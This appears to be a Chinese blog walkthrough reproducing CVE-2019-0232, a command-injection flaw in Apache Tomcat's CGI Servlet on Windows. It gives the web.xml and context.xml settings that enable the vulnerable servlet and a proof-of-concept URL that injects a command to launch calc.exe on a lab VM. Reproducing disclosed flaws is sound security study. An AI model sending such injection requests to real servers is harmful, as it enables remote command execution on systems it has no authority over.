CVE编号:CVE-2019-0232 威胁等级:高危
漏洞背景
2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送一个精心设计的请求,可服务端注入和执行任意操作系统命令。
影响范围:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
环境:
VMware 虚拟机 windows 7 (x32) (192.168.188.138)
JAVA SE (JDK 1.8.0_73)
Apache tomcat 9.0.13 (https://archive.apache.org/) (port :8080)
漏洞复现
配置Toncat:
- 开启Tomcat的CGI_Servlt组件
\Tomcat 9.0\conf\web.xml 文件设置如下图
将下图注释符去掉
改为下图标记处所示<servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet>
设置如图<servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping>
如果这样设置是没有CGI_Servlet的启动权限的,所以我们要在\conf\context.xml中设置权限,如下图<Context privileged="true">
接下来在\webapps\ROOT\WEB-INF下创建cgi-bin文件夹,并在其中新建一个bat文件。内容不限
重启tomcat
到这里,漏洞环境就搭建完成了。接下来是利用阶段
Poc如下:
http://192.168.188.138:8080/cgi-bin/hello.bat?&C:\Windows\System32\calc.exe
靶机弹出计算器
如果出现400可参考下面这位老哥的文章:https://blog.csdn.net/u010170616/article/details/80832108
如果是404可能是代码修改出现问题
(小白的第一篇文章,求支持求关注 ❥ 请多多指教)